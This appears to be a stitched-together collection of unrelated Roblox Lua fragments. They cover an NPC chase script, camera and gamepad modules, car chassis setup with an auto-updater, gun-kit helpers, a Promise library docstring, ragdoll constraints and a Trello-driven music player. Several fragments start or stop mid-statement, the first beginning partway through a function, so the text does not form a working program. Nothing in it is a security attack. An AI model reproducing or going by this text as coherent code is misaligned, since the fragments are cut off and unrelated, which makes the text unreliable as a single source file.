JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play(); NoticeDebounce=true; end if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then JeffTheKillerHumanoid.WalkSpeed=30; elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then JeffTheKillerHumanoid.WalkSpeed=0.004; end; JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain")); end; else Notice=false; NoticeDebounce=false; local RandomWalk=math.random(1,150); if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then JeffTheKillerHumanoid.WalkSpeed=12; if RandomWalk==1 then JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain")); end; end; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then JeffTheKillerHumanoid.DisplayDistanceType="None"; JeffTheKillerHumanoid.HealthDisplayDistance=0; JeffTheKillerHumanoid.Name="ColdBloodedKiller"; JeffTheKillerHumanoid.NameDisplayDistance=0; JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion"; JeffTheKillerHumanoid.AutoJumpEnabled=true; JeffTheKillerHumanoid.AutoRotate=true; JeffTheKillerHumanoid.MaxHealth=500; JeffTheKillerHumanoid.JumpPower=60; JeffTheKillerHumanoid.MaxSlopeAngle=89.9; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then JeffTheKillerHumanoid.AutoJumpEnabled=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then JeffTheKillerHumanoid.AutoRotate=true; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then JeffTheKillerHumanoid.PlatformStand=false; end; if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then JeffTheKillerHumanoid.Sit=false; end; end;
--script.Parent.YY.Velocity = script.Parent.YY.CFrame.lookVector *script.Parent.Speed.Value
script.Parent.YYY.Velocity = script.Parent.YYY.CFrame.lookVector *script.Parent.Speed.Value script.Parent.Z.Velocity = script.Parent.Z.CFrame.lookVector *script.Parent.Speed.Value
-- Actual measured distance to the camera Focus point, which may be needed in special circumstances, but should -- never be used as the starting point for updating the nominal camera-to-subject distance (self.currentSubjectDistance) -- since that is a desired target value set only by mouse wheel (or equivalent) input, PopperCam, and clamped to min max camera distance
function BaseCamera:GetMeasuredDistanceToFocus(): number? local camera = game.Workspace.CurrentCamera if camera then return (camera.CoordinateFrame.p - camera.Focus.p).magnitude end return nil end function BaseCamera:GetCameraLookVector(): Vector3 return game.Workspace.CurrentCamera and game.Workspace.CurrentCamera.CFrame.LookVector or UNIT_Z end function BaseCamera:CalculateNewLookCFrameFromArg(suppliedLookVector: Vector3?, rotateInput: Vector2): CFrame local currLookVector: Vector3 = suppliedLookVector or self:GetCameraLookVector() local currPitchAngle = math.asin(currLookVector.Y) local yTheta = math.clamp(rotateInput.Y, -MAX_Y + currPitchAngle, -MIN_Y + currPitchAngle) local constrainedRotateInput = Vector2.new(rotateInput.X, yTheta) local startCFrame = CFrame.new(ZERO_VECTOR3, currLookVector) local newLookCFrame = CFrame.Angles(0, -constrainedRotateInput.X, 0) * startCFrame * CFrame.Angles(-constrainedRotateInput.Y,0,0) return newLookCFrame end function BaseCamera:CalculateNewLookVectorFromArg(suppliedLookVector: Vector3?, rotateInput: Vector2): Vector3 local newLookCFrame = self:CalculateNewLookCFrameFromArg(suppliedLookVector, rotateInput) return newLookCFrame.LookVector end function BaseCamera:CalculateNewLookVectorVRFromArg(rotateInput: Vector2): Vector3 local subjectPosition: Vector3 = self:GetSubjectPosition() local vecToSubject: Vector3 = (subjectPosition - (game.Workspace.CurrentCamera :: Camera).CFrame.p) local currLookVector: Vector3 = (vecToSubject * X1_Y0_Z1).unit local vrRotateInput: Vector2 = Vector2.new(rotateInput.X, 0) local startCFrame: CFrame = CFrame.new(ZERO_VECTOR3, currLookVector) local yawRotatedVector: Vector3 = (CFrame.Angles(0, -vrRotateInput.X, 0) * startCFrame * CFrame.Angles(-vrRotateInput.Y,0,0)).LookVector return (yawRotatedVector * X1_Y0_Z1).unit end function BaseCamera:GetHumanoid(): Humanoid? local character = player and player.Character if character then local resultHumanoid = self.humanoidCache[player] if resultHumanoid and resultHumanoid.Parent == character then return resultHumanoid else self.humanoidCache[player] = nil -- Bust Old Cache local humanoid = character:FindFirstChildOfClass("Humanoid") if humanoid then self.humanoidCache[player] = humanoid end return humanoid end end return nil end function BaseCamera:GetHumanoidPartToFollow(humanoid: Humanoid, humanoidStateType: Enum.HumanoidStateType) -- BasePart if humanoidStateType == Enum.HumanoidStateType.Dead then local character = humanoid.Parent if character then return character:FindFirstChild("Head") or humanoid.Torso else return humanoid.Torso end else return humanoid.Torso end end function BaseCamera:OnNewCameraSubject() if self.subjectStateChangedConn then self.subjectStateChangedConn:Disconnect() self.subjectStateChangedConn = nil end end function BaseCamera:IsInFirstPerson() return self.inFirstPerson end function BaseCamera:Update(dt) error("BaseCamera:Update() This is a virtual function that should never be getting called.", 2) end function BaseCamera:GetCameraHeight() if VRService.VREnabled and not self.inFirstPerson then return math.sin(VR_ANGLE) * self.currentSubjectDistance end return 0 end return BaseCamera
-- Public Constructors
function SliderClass.new(sliderFrame, axis) local self = setmetatable({}, SliderClass) self._Maid = Lazy.Utilities.Maid.new() self._Spring = Lazy.Utilities.Spring.new(1, 0.1, 1, 0) self._Axis = axis or "x" self._ChangedBind = Instance.new("BindableEvent") self._ClickedBind = Instance.new("BindableEvent") self.Interval = 0 self.IsActive = true self.TweenClick = true self.Inverted = false self.Frame = sliderFrame self.Changed = self._ChangedBind.Event self.Clicked = self._ClickedBind.Event self.DragStart = nil self.DragStop = nil init(self) self:Set(0.5) return self end function SliderClass.Create(axis) local slider = nil if (not axis or axis == "x") then slider = SliderClass.new(SLIDER_FRAMEX:Clone(), axis) else slider = SliderClass.new(SLIDER_FRAMEY:Clone(), axis) slider.Inverted = true end return slider end
---------------------------------------------------------------------- --------------------[ IGNORE MODEL HANDLING ]------------------------- ----------------------------------------------------------------------
wait(math.random(0, 20) / 40) --This is to prevent more than one ignoreModel from being created if _G.ignoreCode then --If the ignoreCode already exists, then the script creates the ignoreModel --[[ The purpose of this is so that every gun in a game that uses this gun kit will share one ignoreModel. That way, bullet trails, bullet holes, and other fake arms will be ignored by the gun which makes the bullets more likely to hit a character part --]] if (not game.Workspace:FindFirstChild("ignoreModel_".._G.ignoreCode)) then local ignoreModel = Instance.new("Model") ignoreModel.Name = "ignoreModel_".._G.ignoreCode ignoreModel.Parent = game.Workspace local grenadeFolder = Instance.new("Model") grenadeFolder.Name = "grenadeFolder" grenadeFolder.Parent = ignoreModel spawn(function() while true do ignoreModel.Parent = game.Workspace grenadeFolder.Parent = ignoreModel wait(1 / 20) end end) end script.Parent:WaitForChild("clientMain"):WaitForChild("ignoreCode").Value = _G.ignoreCode else --[[ If there isn't already an ignoreCode, then this creates one. The purpose of it being random is so that if there is an ignoreModel for something else in the game, the script won't end up placing the ignored objects in that ignoreModel --]] _G.ignoreCode = math.random(1, 1e4) if (not game.Workspace:FindFirstChild("ignoreModel_".._G.ignoreCode)) then local ignoreModel = Instance.new("Model") ignoreModel.Name = "ignoreModel_".._G.ignoreCode ignoreModel.Parent = game.Workspace local grenadeFolder = Instance.new("Model") grenadeFolder.Name = "grenadeFolder" grenadeFolder.Parent = ignoreModel spawn(function() while true do ignoreModel.Parent = game.Workspace grenadeFolder.Parent = ignoreModel wait(1 / 20) end end) end script.Parent:WaitForChild("clientMain"):WaitForChild("ignoreCode").Value = _G.ignoreCode end spawn(function() --[[ This function deletes any Player Folders that were left in the ignoreModel because the player left the game without deselecting the Gun first --]] repeat wait() until _G.ignoreCode local ignoreModel = game.Workspace:WaitForChild("ignoreModel_".._G.ignoreCode) while true do for _, gunIgnore in pairs(ignoreModel:GetChildren()) do if gunIgnore.Name ~= "grenadeFolder" then if (not game.Players:FindFirstChild(gunIgnore.Name:sub(11))) then gunIgnore:Destroy() end end end wait(1 / 20) end end)
--script.Parent.Parent.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Dead, false)
--[[Initialize]]
script.Parent:WaitForChild("A-Chassis Interface") script.Parent:WaitForChild("Plugins") script.Parent:WaitForChild("README") local car=script.Parent.Parent local _Tune=require(script.Parent) wait(_Tune.LoadDelay) --Update Checker if _Tune.AutoUpdate then local newModel local s,m = pcall(function() newModel = game:GetService("InsertService"):LoadAsset(2615493582) end) if s then if script.Parent["A-Chassis Interface"].Version.Value < newModel["A-Chassis 6C by Novena"]["A-Chassis Tune"]["A-Chassis Interface"].Version.Value or newModel["A-Chassis 6C by Novena"]["A-Chassis Tune"]["A-Chassis Interface"].Version.MajorUpdate.Value then if newModel["A-Chassis 6C by Novena"]["A-Chassis Tune"]["A-Chassis Interface"].Version.MajorUpdate.Value then print("[AC6C]: Chassis update!" .."\nA major update to A-Chassis 6C has been found." .."\nThe changes cannot be ported due to the update." .."\nYou are advised to update your chassis ASAP.") else script.Parent["A-Chassis Interface"].Version.Value = newModel["A-Chassis 6C by Novena"]["A-Chassis Tune"]["A-Chassis Interface"].Version.Value print("[AC6C]: Drive script update!" .."\nAn update to A-Chassis' Drive script has been found." .."\nThe updated script will take effect next time you get in." .."\nYou are advised to update your chassis soon.") script.Parent["A-Chassis Interface"].Drive:Destroy() newModel["A-Chassis 6C by Novena"]["A-Chassis Tune"]["A-Chassis Interface"].Drive.Parent = script.Parent["A-Chassis Interface"] end end newModel:Destroy() end end script.Parent["A-Chassis Interface"].Version.Value = 1 --Weight Scaling local weightScaling = _Tune.WeightScaling if not workspace:PGSIsEnabled() then weightScaling = _Tune.LegacyScaling end local Drive=car.Wheels:GetChildren() --Remove Existing Mass function DReduce(p) for i,v in pairs(p:GetChildren())do if v:IsA("BasePart") then if v.CustomPhysicalProperties == nil then v.CustomPhysicalProperties = PhysicalProperties.new(v.Material) end v.CustomPhysicalProperties = PhysicalProperties.new( 0, v.CustomPhysicalProperties.Friction, v.CustomPhysicalProperties.Elasticity, v.CustomPhysicalProperties.FrictionWeight, v.CustomPhysicalProperties.ElasticityWeight ) end DReduce(v) end end DReduce(car)
--[=[ Returns the top-level value held by the property. This will either be the initial value set, or the last value set with `Set()`. ```lua remoteProperty:Set("Data") print(remoteProperty:Get()) --> "Data" ``` ]=]
function RemoteProperty:Get(): any return self._value end
-- Returns whether the playerSelected's status is appropriate for the playerFiring
function GetProfileRemoteFunction.OnServerInvoke(playerFiring, playerSelected, statusText) local filteredStatus = filterText(statusText, playerSelected.UserId, playerFiring.UserId) if filteredStatus == statusText then return { success = true } else return { success = false } end end
--Weld stuff here
MakeWeld(misc.BP.SS,car.DriveSeat,"Motor",.1) ModelWeld(misc.BP.MeshPart,misc.BP.SS) MakeWeld(misc.GP.SS,car.DriveSeat,"Motor",.1) ModelWeld(misc.GP.MeshPart,misc.GP.SS)
--EDIT BELOW----------------------------------------------------------------------
settings.PianoSoundRange = 75 settings.KeyAesthetics = true settings.PianoSounds = { "414892095", "414892150", "414892208", "414892265", "414892322", "414909236" }
--[[ alexnewtron 2014 ]]
-- local c = { p = game.Players.LocalPlayer, h = game.Players.LocalPlayer.Character:findFirstChild("Humanoid"), debris=game:GetService("Debris"), c = script:WaitForChild("creator") }; function c.r() for i,v in ipairs(c.h:GetChildren()) do if v.Name=="creator" then v:Destroy() end end local creator_tag=Instance.new("ObjectValue"); creator_tag.Value=c.c.Value; creator_tag.Name="creator"; creator_tag.Parent=c.h; end if (c.h ~= nil) then for i=1, 5 do c.r(); c.h:TakeDamage(7); wait(1.5); end end script:Destroy();
---- STATE MODIFICATION ----
function ActiveCastStatic:Pause() assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Pause", "ActiveCast.new(...)")) assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED) self.StateInfo.Paused = true end function ActiveCastStatic:Resume() assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Resume", "ActiveCast.new(...)")) assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED) self.StateInfo.Paused = false end function ActiveCastStatic:Terminate() assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Terminate", "ActiveCast.new(...)")) assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED) -- First: Set EndTime on the latest trajectory since it is now done simulating. local trajectories = self.StateInfo.Trajectories local lastTrajectory = trajectories[#trajectories] lastTrajectory.EndTime = self.StateInfo.TotalRuntime -- Disconnect the update connection. self.StateInfo.UpdateConnection:Disconnect() -- Now fire CastTerminating self.Caster.CastTerminating:FireSync(self) -- And now set the update connection object to nil. self.StateInfo.UpdateConnection = nil -- And nuke everything in the table + clear the metatable. self.Caster = nil self.StateInfo = nil self.RayInfo = nil self.UserData = nil setmetatable(self, nil) end return ActiveCastStatic
--// Event Connections
L_115_.OnClientEvent:connect(function(L_331_arg1, L_332_arg2) if L_331_arg1 ~= L_2_ then local L_333_ = L_331_arg1.Character local L_334_ = L_333_.AnimBase.AnimBaseW local L_335_ = L_334_.C1 if L_332_arg2 then L_130_(L_334_, nil , L_333_.Head.CFrame, function(L_336_arg1) return math.sin(math.rad(L_336_arg1)) end, 0.25) elseif not L_332_arg2 then L_130_(L_334_, nil , L_335_, function(L_337_arg1) return math.sin(math.rad(L_337_arg1)) end, 0.25) end end end) L_118_.OnClientEvent:connect(function(L_338_arg1, L_339_arg2) if L_42_ and L_339_arg2 ~= L_2_ and L_24_.CanCallout then if (L_3_.HumanoidRootPart.Position - L_338_arg1).magnitude <= 10 then L_41_.Visible = true local L_340_ = ScreamCalculation() if L_340_ then if L_7_:FindFirstChild('AHH') and not L_7_.AHH.IsPlaying then L_119_:FireServer(L_7_.AHH, L_99_[math.random(0, 21)]) end end L_14_:Create(L_41_, TweenInfo.new(0.1), { BackgroundTransparency = 0.4 }):Play() delay(0.1, function() L_14_:Create(L_41_, TweenInfo.new(3), { BackgroundTransparency = 1 }):Play() end) end end end)
-- Get Points:
function PointsService:GetPoints(player) local points = self.PointsPerPlayer[player] return points or 0 end
-- Used for cars, de activates when the user jumps --
plane.PilotSeat.ChildRemoved:connect(function(child) run=false cam.CameraType="Custom" cam.FieldOfView = 70 CamV = ("third") end) game:GetService("RunService").RenderStepped:connect(function() if run and CamV == "first" then local XLook=math.max(math.min(((mouse.X-(mouse.ViewSizeX/2))/200)^3,1),-1) local YLook=math.max(math.min(((mouse.Y-(mouse.ViewSizeY/2))/200)^3,1),-1) local LookOffset=player.Character.Head.CFrame:toWorldSpace(CFrame.new(0,0,-1)*CFrame.Angles(-YLook,-XLook,0)) cam.CameraType="Scriptable" cam.CameraSubject=player.Character.Humanoid cam.CoordinateFrame=LookOffset elseif run and CamV == "second" then local XLook=math.max(math.min(((mouse.X-(mouse.ViewSizeX/2))/200)^3,1),-1) local YLook=math.max(math.min(((mouse.Y-(mouse.ViewSizeY/2))/200)^3,1),-1) local LookOffset=AimPart.CFrame:toWorldSpace(CFrame.new(0,0,0)) cam.CameraType="Scriptable" cam.CameraSubject=player.Character.Humanoid cam.CoordinateFrame=LookOffset end end)
--example of use:
game:GetService("ReplicatedStorage"):WaitForChild("Events"):WaitForChild("CameraShake").OnClientEvent:Connect(function() shakeCamera(10, script.Parent.HumanoidRootPart.Position, true) end)
------------------------------------
function onTouched(hit) print("Door Hit") local human = hit.Parent:FindFirstChild("Humanoid") if (human ~= nil ) then if game.Players:playerFromCharacter(hit.Parent).TeamColor==game.Teams:findFirstChild(modelname).TeamColor then Door.CanCollide = true Door.Transparency = 0 wait(1) Door.CanCollide = true Door.Transparency = 0 print("Human touched door") else human.Health = 0 end end end connection = Door.Touched:connect(onTouched)
--------------------------- --[[ --Main anchor point is the DriveSeat <car.DriveSeat> Usage: MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld" **Applies to Motor welds only ModelWeld(Model,MainPart) Example: MakeWeld(car.DriveSeat,misc.PassengerSeat) MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2) ModelWeld(car.DriveSeat,misc.Door) ]] --Weld stuff here
car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(-1.5,-.2,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) end end)
-- This function selects the lowest number gamepad from the currently-connected gamepad -- and sets it as the active gamepad
function Gamepad:GetHighestPriorityGamepad() local connectedGamepads = UserInputService:GetConnectedGamepads() local bestGamepad = NONE -- Note that this value is higher than all valid gamepad values for _, gamepad in pairs(connectedGamepads) do if gamepad.Value < bestGamepad.Value then bestGamepad = gamepad end end return bestGamepad end function Gamepad:BindContextActions() if self.activeGamepad == NONE then -- There must be an active gamepad to set up bindings return false end local updateMovement = function(inputState) if inputState == Enum.UserInputState.Cancel then self.moveVector = ZERO_VECTOR3 else self.moveVector = Vector3.new(self.leftValue + self.rightValue, 0, self.forwardValue + self.backwardValue) end end -- Note: In the previous version of this code, the movement values were not zeroed-out on UserInputState. Cancel, now they are, -- which fixes them from getting stuck on. local handleMoveForward = function(actionName, inputState, inputObject) self.forwardValue = (inputState == Enum.UserInputState.Begin) and -1 or 0 updateMovement(inputState) end local handleMoveBackward = function(actionName, inputState, inputObject) self.backwardValue = (inputState == Enum.UserInputState.Begin) and 1 or 0 updateMovement(inputState) end local handleMoveLeft = function(actionName, inputState, inputObject) self.leftValue = (inputState == Enum.UserInputState.Begin) and -1 or 0 updateMovement(inputState) end local handleMoveRight = function(actionName, inputState, inputObject) self.rightValue = (inputState == Enum.UserInputState.Begin) and 1 or 0 updateMovement(inputState) end local handleJumpAction = function(actionName, inputState, inputObject) self.isJumping = (inputState == Enum.UserInputState.Begin) if FFlagPlayerScriptsBindAtPriority then return Enum.ContextActionResult.Sink end end local handleThumbstickInput = function(actionName, inputState, inputObject) if inputState == Enum.UserInputState.Cancel then self.moveVector = ZERO_VECTOR3 return FFlagPlayerScriptsBindAtPriority and Enum.ContextActionResult.Sink or nil end if self.activeGamepad ~= inputObject.UserInputType then return FFlagPlayerScriptsBindAtPriority and Enum.ContextActionResult.Pass or nil end if inputObject.KeyCode ~= Enum.KeyCode.Thumbstick1 then return end if inputObject.Position.magnitude > thumbstickDeadzone then self.moveVector = Vector3.new(inputObject.Position.X, 0, -inputObject.Position.Y) else self.moveVector = ZERO_VECTOR3 end if FFlagPlayerScriptsBindAtPriority then return Enum.ContextActionResult.Sink end end ContextActionService:BindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2) if FFlagPlayerScriptsBindAtPriority then ContextActionService:BindActionAtPriority("jumpAction", handleJumpAction, false, self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.ButtonA) ContextActionService:BindActionAtPriority("moveThumbstick", handleThumbstickInput, false, self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.Thumbstick1) else ContextActionService:BindAction("jumpAction",handleJumpAction, false, Enum.KeyCode.ButtonA) ContextActionService:BindAction("moveThumbstick",handleThumbstickInput, false, Enum.KeyCode.Thumbstick1) end return true end function Gamepad:UnbindContextActions() if self.activeGamepad ~= NONE then ContextActionService:UnbindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2) end ContextActionService:UnbindAction("moveThumbstick") ContextActionService:UnbindAction("jumpAction") end function Gamepad:OnNewGamepadConnected() -- A new gamepad has been connected. local bestGamepad = self:GetHighestPriorityGamepad() if bestGamepad == self.activeGamepad then -- A new gamepad was connected, but our active gamepad is not changing return end if bestGamepad == NONE then -- There should be an active gamepad when GamepadConnected fires, so this should not -- normally be hit. If there is no active gamepad, unbind actions but leave -- the module enabled and continue to listen for a new gamepad connection. warn("Gamepad:OnNewGamepadConnected found no connected gamepads") self:UnbindContextActions() return end if self.activeGamepad ~= NONE then -- Switching from one active gamepad to another self:UnbindContextActions() end self.activeGamepad = bestGamepad self:BindContextActions() end function Gamepad:OnCurrentGamepadDisconnected() if self.activeGamepad ~= NONE then ContextActionService:UnbindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2) end local bestGamepad = self:GetHighestPriorityGamepad() if self.activeGamepad ~= NONE and bestGamepad == self.activeGamepad then warn("Gamepad:OnCurrentGamepadDisconnected found the supposedly disconnected gamepad in connectedGamepads.") self:UnbindContextActions() self.activeGamepad = NONE return end if bestGamepad == NONE then -- No active gamepad, unbinding actions but leaving gamepad connection listener active self:UnbindContextActions() self.activeGamepad = NONE else -- Set new gamepad as active and bind to tool activation self.activeGamepad = bestGamepad ContextActionService:BindActivate(self.activeGamepad, Enum.KeyCode.ButtonR2) end end function Gamepad:ConnectGamepadConnectionListeners() self.gamepadConnectedConn = UserInputService.GamepadConnected:Connect(function(gamepadEnum) self:OnNewGamepadConnected() end) self.gamepadDisconnectedConn = UserInputService.GamepadDisconnected:Connect(function(gamepadEnum) if self.activeGamepad == gamepadEnum then self:OnCurrentGamepadDisconnected() end end) end function Gamepad:DisconnectGamepadConnectionListeners() if self.gamepadConnectedConn then self.gamepadConnectedConn:Disconnect() self.gamepadConnectedConn = nil end if self.gamepadDisconnectedConn then self.gamepadDisconnectedConn:Disconnect() self.gamepadDisconnectedConn = nil end end return Gamepad
-------------------------------------------------------------------------------- -- Piercing raycasts
local function getCollisionPoint(origin, dir) local originalSize = #blacklist repeat local hitPart, hitPoint = workspace:FindPartOnRayWithIgnoreList( ray(origin, dir), blacklist, false, true ) if hitPart then if hitPart.CanCollide then eraseFromEnd(blacklist, originalSize) return hitPoint, true end blacklist[#blacklist + 1] = hitPart end until not hitPart eraseFromEnd(blacklist, originalSize) return origin + dir, false end
--[=[ Set a handler that will be called regardless of the promise's fate. The handler is called when the promise is resolved, rejected, *or* cancelled. Returns a new Promise that: - resolves with the same values that this Promise resolves with. - rejects with the same values that this Promise rejects with. - is cancelled if this Promise is cancelled. If the value you return from the handler is a Promise: - We wait for the Promise to resolve, but we ultimately discard the resolved value. - If the returned Promise rejects, the Promise returned from `finally` will reject with the rejected value from the *returned* promise. - If the `finally` Promise is cancelled, and you returned a Promise from the handler, we cancel that Promise too. Otherwise, the return value from the `finally` handler is entirely discarded. :::note Cancellation As of Promise v4, `Promise:finally` does not count as a consumer of the parent Promise for cancellation purposes. This means that if all of a Promise's consumers are cancelled and the only remaining callbacks are finally handlers, the Promise is cancelled and the finally callbacks run then and there. Cancellation still propagates through the `finally` Promise though: if you cancel the `finally` Promise, it can cancel its parent Promise if it had no other consumers. Likewise, if the parent Promise is cancelled, the `finally` Promise will also be cancelled. ::: ```lua local thing = createSomething() doSomethingWith(thing) :andThen(function() print("It worked!") -- do something.. end) :catch(function() warn("Oh no it failed!") end) :finally(function() -- either way, destroy thing thing:Destroy() end) ``` @param finallyHandler (status: Status) -> ...any @return Promise<...any> ]=]
function Promise.prototype:finally(finallyHandler) assert(finallyHandler == nil or isCallable(finallyHandler), string.format(ERROR_NON_FUNCTION, "Promise:finally")) return self:_finally(debug.traceback(nil, 2), finallyHandler) end
-- Defines all FC types. -- Any script that requires this will have these types defined.
-- << LOCAL FUNCTIONS >>
local function checkPrefix(character, pdata) local incorrectPrefixes = { [":"] = true; } if main.infoOnAllCommands.Prefixes[character] or character == pdata.Prefix or (settings.WarnIncorrectPrefix and incorrectPrefixes[character]) then --Included the last argument as new players confuse ; with : return true else return false end end
-- do not touch anything below or I will cry ~Wiz --
local nowplaying = "" local requests = { } local http = game:GetService('HttpService') local lists = http:JSONDecode(http:GetAsync("https://api.trello.com/1/boards/"..trelloboard.."/lists")) for _,v in pairs(lists) do if v.name == "Past" then local items = http:JSONDecode(http:GetAsync("https://api.trello.com/1/lists/"..v.id.."/cards")) print(#items) for _,v in pairs(items) do if v.name:match(":") ~= nil then local s,f = string.find(v.name,":") table.insert(songs, string.sub(v.name,f+1)) end end end end function shuffleTable(t) math.randomseed(tick()) assert(t, "shuffleTable() expected a table, got nil" ) local iterations = #t local j for i = iterations, 2, -1 do j = math.random(i) t[i], t[j] = t[j], t[i] end end shuffleTable(songs) local songnum = 0 function script.Parent.musicEvents.getSong.OnServerInvoke() return game:service('MarketplaceService'):GetProductInfo(tonumber(nowplaying)).Name end script.Parent.musicEvents.purchaseSong.OnServerEvent:connect(function(p) if p.userId > 0 then game:GetService("MarketplaceService"):PromptProductPurchase(p, productId) end end) local votes = { } function makesong() script.Parent.Parent.Parent.Body.MP:WaitForChild("Sound"):Stop() wait() if #requests == 0 then songnum = songnum+1 if songnum > #songs then songnum = 1 end nowplaying = songs[songnum] else nowplaying = requests[1] table.remove(requests,1) end local thisfunctionssong = nowplaying script.Parent.Parent.Parent.Body.MP.Sound.SoundId = "rbxassetid://"..thisfunctionssong wait() script.Parent.Parent.Parent.Body.MP.Sound:Play() script.Parent.musicEvents.newSong:FireAllClients(game:service('MarketplaceService'):GetProductInfo(tonumber(nowplaying)).Name) votes = {} wait(script.Parent.Parent.Parent.Body.MP.Sound.TimeLength) if "rbxassetid://"..nowplaying == "rbxassetid://"..thisfunctionssong then makesong() end end function countVotes() local c = 0 for _,v in pairs(votes) do if v[2] == true then c = c +1 end end local remainder = #game.Players:GetPlayers() - #votes local percent = (c + (remainder/2))/#game.Players:GetPlayers() script.Parent.musicEvents.voteChange:FireAllClients(percent) if percent <= 0.2 then --skip song makesong() end return end script.Parent.musicEvents.voteYes.OnServerEvent:connect(function(p) for _,v in pairs(votes) do if v[1] == p.Name then v[2] = true countVotes() return end end table.insert(votes, {p.Name, true}) countVotes() end) script.Parent.musicEvents.voteNo.OnServerEvent:connect(function(p) for _,v in pairs(votes) do if v[1] == p.Name then v[2] = false countVotes() return end end table.insert(votes, {p.Name, false}) countVotes() end)
--[=[ @class Option Represents an optional value in Lua. This is useful to avoid `nil` bugs, which can go silently undetected within code and cause hidden or hard-to-find bugs. ]=]
local Option = {} Option.__index = Option function Option._new(value) local self = setmetatable({ ClassName = CLASSNAME; _v = value; _s = (value ~= nil); }, Option) return self end
--- Gives the Maid a Task to perform at cleanup, incremented by 1 -- @param Variant Task An object to be Destroyed, a Connection to be Disconnected, or function/callable table to be called -- @returns the index the Task was placed at
function Maid:GiveTask(Task) local n = #self._Tasks + 1 self._Tasks[n] = Task return n end
-- A state object which follows another state object using tweens.
export type Tween<T> = PubTypes.Tween<T> & { _goalState: State<T>, _tweenInfo: TweenInfo, _prevValue: T, _nextValue: T, _currentValue: T, _currentTweenInfo: TweenInfo, _currentTweenDuration: number, _currentTweenStartTime: number }
--[[ Various ragdoll constraints that are used depending on what type of joint they're being applied to. This is meant to work with any character, but is mostly tailored to characters with legs/arms, as it is impossible to satisfy all use cases in a generic way. You can for sure make a spider with 8 legs by sticking to the same naming conventions as R15 (e.g. LeftUpperLeg1, 2, 3, ...), but something like an eel is not going to come for free out of the box, at least perfectly. That said, there is a Default waist-like joint for all unknown joint types. It won't be perfect, but it will be functional. If these joint types do not satisfy your use cases, you can tweak them or add new ones! Just modify or add to this module's children. These constraints are automatically selected based on the last word of the joint's name (e.g. Hip from LeftHip). Things to know if you are changing them: Shoulder twist angles should not be lowered any further or the ragdoll's arms will get stuck in "Aliens" position often https://i.imgur.com/Ck5j34M.jpg Neck is using a HingeConstraint because BallSocketConstraints are kind of unstable for the head. https://gfycat.com/GrotesqueFirsthandBluebottlejellyfish Ankle and Wrist are HingeConstraints because twist limits are not enough for BallSocketConstraints -- due to the "try to do x" rather than "force x" nature of constraints, twist limits are given a small margin where they are not applied close to 0, and this causes the wrists/ankles to jitter back and forth when they are suspended in air. Other limbs are generally not suspended in air, so it's only necessary for Ankle/Wrist joints. --]]
local getLastWordFromPascaleCase = require(script.Parent:WaitForChild("getLastWordFromPascalCase")) local constraints = {} for _,v in pairs(script:GetChildren()) do constraints[v.Name] = v end function getConstraintTemplate(jointName) jointName = getLastWordFromPascaleCase(jointName) return constraints[jointName] or constraints.Default end function createConstraint(jointData) local jointName = jointData.Joint.Name local constraint = getConstraintTemplate(jointName):Clone() constraint.Attachment0 = jointData.Attachment0 constraint.Attachment1 = jointData.Attachment1 constraint.Name = jointName.."RagdollConstraint" -- Constraints don't work if there is a rigid joint connecting its two parts, -- so when we enter ragdoll we need to turn off the joint, and turn it back on -- when we leave ragdoll. This allows us to tell which joint corresponds with -- which constraint local rigidPointer = Instance.new("ObjectValue") rigidPointer.Parent = constraint rigidPointer.Name = "RigidJoint" rigidPointer.Value = jointData.Joint return constraint end return function(attachmentMap) local ragdollConstraints = Instance.new("Folder") ragdollConstraints.Name = "RagdollConstraints" for _,jointData in pairs(attachmentMap) do if jointData.Joint.Name ~= "Root" then local ragdollConstraint = createConstraint(jointData) ragdollConstraint.Parent = ragdollConstraints end end return ragdollConstraints end
-- Make the part float on the side of the player
local player = Players.LocalPlayer local char = player.Character local Humanoid: Part = char:WaitForChild('HumanoidRootPart') while true do mainPart.CFrame = Humanoid.CFrame * CFrame.new(0, -1, -2) wait(0.1) end
